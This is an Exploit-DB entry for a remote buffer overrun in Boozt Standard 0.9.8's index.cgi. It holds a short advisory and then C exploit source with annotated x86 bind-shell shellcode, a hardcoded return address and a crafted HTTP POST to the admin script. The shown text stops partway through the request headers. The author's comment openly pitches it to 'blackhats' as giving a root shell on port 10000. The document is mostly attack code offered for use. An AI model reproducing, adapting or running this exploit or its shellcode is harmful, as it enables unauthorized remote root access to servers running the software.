Exploit-DB #22054
Description: Boozt Standard 0.9.8 - 'index.cgi' Buffer Overrun
Type: remote
Platform: cgi
Date: 2002-11-29
Author: BrainStorm

Exploit:
// source: https://www.securityfocus.com/bid/6281/info

A vulnerability has been discovered in Boozt. By passing a malicious parameter of excessive length to the index.cgi script, it is possible to overrun a buffer. This could be exploited by a remote attacker to corrupt sensitive memory, which may result in the execution of arbitrary code.

This issue is known to affect Boozt 0.9.8 and it is not known whether other versions are affected.

/* -----------------------------------------------------------------------

   BOOZT! Not so Standard 0.9.8 CGI vulnerability exploit
   fixed/updated by BrainStorm - ElectronicSouls
   now its much more usefull ;>

   Original Code by: Rafael San Miguel Carrasco - rsanmcar@alum.uax.es

   script kiddie enabled! .. this will give you a rootshell on port 10000
   so this version isnt for admins its for blackhats! and kidz piss off!
   this isnt widely used so nothing for kiddies anyway, since they cant own
   100 systems with it =P ..

   greetz: ghQst,FreQ,it_fresh,SectorX,RobBbot,0x90,Resistor,Phantom,
           divineint,rocsteele,websk8ter,nutsax,BuRn-X and all other
           ElectronicSouls members - j00 r0ck =>

   -----------------------------------------------------------------------
*/


#include <netinet/in.h>

#define PORT 8080
#define BUFLEN 1597
#define RET 0xbffff297
#define NOP 0x90

int main (int argc, char **argv)
{
       int sockfd,
                i,
             cont;

        struct sockaddr_in dest;

        int html_len = 15;

        char cgicontent[2048];
        char buf[BUFLEN];
        char shellcode[]=  "\x31\xc0"                   // xor     eax, eax
                           "\x31\xdb"                   // xor     ebx, ebx
                           "\x89\xe5"                   // mov     ebp, esp
                           "\x99"                       // cdq
                           "\xb0\x66"                   // mov     al, 102
                           "\x89\x5d\xfc"               // mov     [ebp-4], ebx
                           "\x43"                       // inc     ebx
                           "\x89\x5d\xf8"               // mov     [ebp-8], ebx
                           "\x43"                       // inc     ebx
                           "\x89\x5d\xf4"               // mov     [ebp-12], ebx
                           "\x4b"                       // dec     ebx
                           "\x8d\x4d\xf4"               // lea     ecx, [ebp-12]
                           "\xcd\x80"                   // int     80h
                           "\x89\x45\xf4"               // mov     [ebp-12], eax
                           "\x43"                       // inc     ebx
                           "\x66\x89\x5d\xec"           // mov     [ebp-20], bx
                           "\x66\xc7\x45\xee\x27\x10"   // mov     [ebp-18], word 4135
                           "\x89\x55\xf0"               // mov     [ebp-16], edx
                           "\x8d\x45\xec"               // lea     eax, [ebp-20]
                           "\x89\x45\xf8"               // mov     [ebp-8], eax
                           "\xc6\x45\xfc\x10"           // mov     [ebp-4], byte 16
                           "\xb2\x66"                   // mov     dl, 102
                           "\x89\xd0"                   // mov     eax, ed
                           "\x8d\x4d\xf4"               // lea     ecx, [ebp-12]
                           "\xcd\x80"                   // int     80h
                           "\x89\xd0"                   // mov     eax, edx
                           "\xb3\x04"                   // mov     bl, 4
                           "\xcd\x80"                   // int     80h
                           "\x43"                       // inc     ebx
                           "\x89\xd0"                   // mov     eax, edx
                           "\x99"                       // cdq
                           "\x89\x55\xf8"               // mov     [ebp-8], edx
                           "\x89\x55\xfc"               // mov     [ebp-4], edx
                           "\xcd\x80"                   // int     80h
                           "\x31\xc9"                   // xor     ecx, ecx
                           "\x89\xc3"                   // mov     ebx, eax
                           "\xb1\x03"                   // mov     cl, 3
                           "\xb0\x3f"                   // mov     al, 63
                           "\x49"                       // dec     ecx
                           "\xcd\x80"                   // int     80h
                           "\x41"                       // inc     ecx
                           "\xe2\xf8"                   // loop    -7
                           "\x52"                       // push    edx
                           "\x68\x6e\x2f\x73\x68"       // push    dword 68732f6eh
                           "\x68\x2f\x2f\x62\x69"       // push    dword 69622f2fh
                           "\x89\xe3"                   // mov     ebx, esp
                           "\x52"                       // push    edx
                           "\x53"                       // push    ebx
                           "\x89\xe1"                   // mov     ecx, esp
                           "\xb0\x0b"                   // mov     al, 11
                           "\xcd\x80";                  // int     80h

        char *html[15] =
        {
                "POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
                "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,*/*\n",
                "Referer: http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
                "Accept-Language: en, de\n",
                "Content-Type: application/x-www-form-urlencoded\n",
                "UA-pixels: 640x480\n",
                "UA-color: color8\n",